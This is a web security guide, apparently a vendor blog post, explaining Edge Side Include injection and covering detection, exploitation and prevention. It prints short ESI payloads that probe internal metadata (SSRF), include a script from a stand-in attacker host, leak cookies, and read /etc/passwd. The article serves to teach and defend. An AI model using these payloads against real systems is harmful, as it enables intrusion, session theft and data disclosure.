What is ESI (Edge Side Include) Injection? Ways to Exploit, Examples and Impact

Explore ESI Injection vulnerabilities. Learn how to detect, exploit, and prevent Edge Side Include attacks to secure your CDN and edge infrastructure.

What is ESI (Edge Side Include) Injection? Ways to Exploit, Examples and Impact

Modern web architectures rely heavily on speed and efficiency. To deliver content faster, organizations use Content Delivery Networks (CDNs), reverse proxies, and caching layers. One of the technologies powering these high-performance environments is Edge Side Includes (ESI). However, when misconfigured or poorly implemented, ESI can become a dangerous vector for attackers. In this guide, we will explore what ESI injection is, how it works, and how to defend against it.

Understanding Edge Side Includes (ESI)

Before diving into the vulnerability, we must understand the technology itself. Edge Side Includes (ESI) is an XML-based markup language used to manage dynamic web content at the "edge" of the network.

In a traditional setup, a web server generates a full HTML page and sends it to the user. With ESI, the page is broken into fragments. Some parts of the page (like a static navigation bar) are cached at the edge server (the CDN or proxy), while other parts (like a user's shopping cart) are fetched dynamically from the origin server.

When a user requests a page, the edge server identifies ESI tags in the HTML sent by the origin server, fetches the required fragments, assembles the final page, and delivers it to the end user. This reduces the load on the origin server and improves latency.

Common ESI Tags

ESI uses tags that look similar to HTML but are processed by the edge proxy. Common examples include:

  • <esi:include src="..." />: Fetches and includes the content of a specified URL.
  • <esi:vars>: Used to access variables such as cookies or headers.
  • <esi:choose>, <esi:when>, <esi:otherwise>: Provides conditional logic within the page assembly process.

What is ESI Injection?

ESI Injection is a web security vulnerability that occurs when an application reflects unvalidated user input into a page that is subsequently parsed by an ESI engine (like Varnish, Squid, or Akamai).

If an attacker can inject ESI tags into the HTTP response sent from the origin server to the edge proxy, the proxy will execute those tags as if they were legitimate instructions. This is a "server-side" injection because the payload is executed by the infrastructure, not the user's browser.

How to Detect ESI Injection

Detecting ESI injection requires identifying if an edge server is parsing ESI tags. Not all proxies use ESI, and those that do might only do so for specific file types or headers.

1. Fingerprinting the Infrastructure

Look for HTTP response headers that indicate the presence of an edge proxy or CDN. Common headers include:

  • Server: Varnish
  • X-Varnish
  • X-Cache: HIT
  • Surrogate-Control: content="ESI/1.0"

The Surrogate-Control header is a primary indicator that the upstream server expects the edge to process ESI tags.

2. Testing with Basic Payloads

To confirm ESI processing, try injecting a simple ESI tag that performs a visible action. A common test is using an ESI variable to reflect a value.

Payload:

<esi:vars>$(HTTP_HOST)</esi:vars>

If the application is vulnerable, the edge server will replace this tag with the actual host name of the server (e.g., example.com). If you see the raw tag in your browser, ESI is either not present or not parsing your input.

Another simple test is mathematical evaluation if the engine supports it:

<esi:vars>$(1+1)</esi:vars>

Exploitation Techniques and Examples

Once you confirm that the edge server processes ESI tags, you can escalate the attack based on the capabilities of the ESI engine.

1. Server-Side Request Forgery (SSRF) via ESI

This is the most common and impactful use of ESI injection. Since the <esi:include> tag tells the edge server to fetch content from a URL, an attacker can point it toward internal resources that are not accessible from the public internet.

Payload:

<esi:include src="http://169.254.169.254/latest/meta-data/" />

In this example, the attacker attempts to fetch AWS instance metadata. Because the request originates from the edge server (which is inside the trusted network environment), it may bypass firewalls or ACLs that block external traffic.

2. Bypassing Client-Side Protections (XSS)

Many modern browsers have built-in Cross-Site Scripting (XSS) filters, and many web applications use Content Security Policy (CSP) to restrict script execution. ESI can sometimes bypass these because the "malicious" content is added by the trusted edge server before the page reaches the browser.

If an attacker cannot inject <script> tags directly because of a WAF, they might use ESI to include a script from a remote server they control.

Payload:

<esi:include src="https://attacker.com/malicious.js" />

3. Exfiltrating Sensitive Information (Cookies)

ESI engines often have access to the user's HTTP request headers, including cookies. An attacker can use the <esi:vars> tag to leak these values into the page source.

Payload:

<esi:vars>$(HTTP_COOKIE)</esi:vars>

If the application reflects this, the attacker can see the session cookies of any user who views the compromised page. This is particularly dangerous because even HttpOnly cookies—which are invisible to JavaScript—can be accessed by ESI because the processing happens on the server side.

4. Local File Inclusion (LFI)

Some ESI implementations allow the use of local file paths in the src attribute. This can lead to the disclosure of sensitive system files like /etc/passwd.

Payload:

<esi:include src="/etc/passwd" />

Note: This is less common in modern CDNs but can occur in custom-built proxy solutions using ESI libraries.

Real-World Impact of ESI Injection

The impact of a successful ESI injection depends entirely on the environment, but it generally falls into three categories:

  1. Confidentiality Loss: Attackers can steal session cookies, access internal API keys, or read local system files.
  2. Infrastructure Compromise: Through SSRF, an attacker can map the internal network, scan ports, and potentially exploit vulnerable internal services that were never meant to be internet-facing.
  3. Account Takeover: By stealing session cookies (including those protected by HttpOnly), attackers can hijack user sessions without needing the user's password.

Why Does ESI Injection Exist?

The root cause of ESI injection is the lack of "context-aware" parsing. The origin server treats the ESI tag as simple text. It doesn't know that the text has a special meaning to the next server in the chain. Conversely, the edge server blindly trusts the origin server. It assumes that any ESI tag coming from the origin is intentional and safe to execute.

This "blind trust" between infrastructure components is a recurring theme in cybersecurity vulnerabilities, similar to how SQL injection occurs when a database blindly trusts a web application.

How to Prevent ESI Injection

Securing your application against ESI injection requires a defense-in-depth approach. Since the vulnerability involves multiple layers of your stack, the solution must also be multi-layered.

1. Sanitize User Input

The most effective defense is to ensure that user-supplied data is never allowed to contain ESI tags. If your application accepts HTML or allows users to post comments, use a robust sanitization library to strip out tags starting with esi:.

2. Use a Whitelist for Includes

If your application must use <esi:include>, configure your edge server to only fetch fragments from a whitelist of trusted domains or internal paths. Most modern CDNs allow you to restrict the src attribute to specific origins.

3. Disable ESI if Not Needed

Many organizations have ESI enabled by default on their load balancers or CDNs without actually using it. If your application does not require dynamic fragment assembly at the edge, disable ESI processing entirely. This removes the attack surface completely.

4. Context-Aware Encoding

Ensure that any user input reflected in the HTML response is properly encoded. For example, converting < to &lt; and > to &gt; will prevent the edge server from recognizing the input as a valid ESI tag.

5. Secure the Surrogate-Control Header

Only send the Surrogate-Control: content="ESI/1.0" header on pages that actually require ESI processing. Do not apply it globally to all responses. This limits the areas where an attacker can attempt an injection.

Conclusion

ESI Injection is a powerful reminder that web security isn't just about the code you write—it's about how your code interacts with the entire infrastructure. While ESI provides significant performance benefits, it introduces a unique set of risks that can lead to SSRF, data theft, and full system compromise. By understanding how edge servers process these tags and implementing strict input validation, developers can harness the power of the edge without leaving the door open for attackers.

To proactively monitor your organization's external attack surface and catch exposures like ESI injection before attackers do, try Jsmon.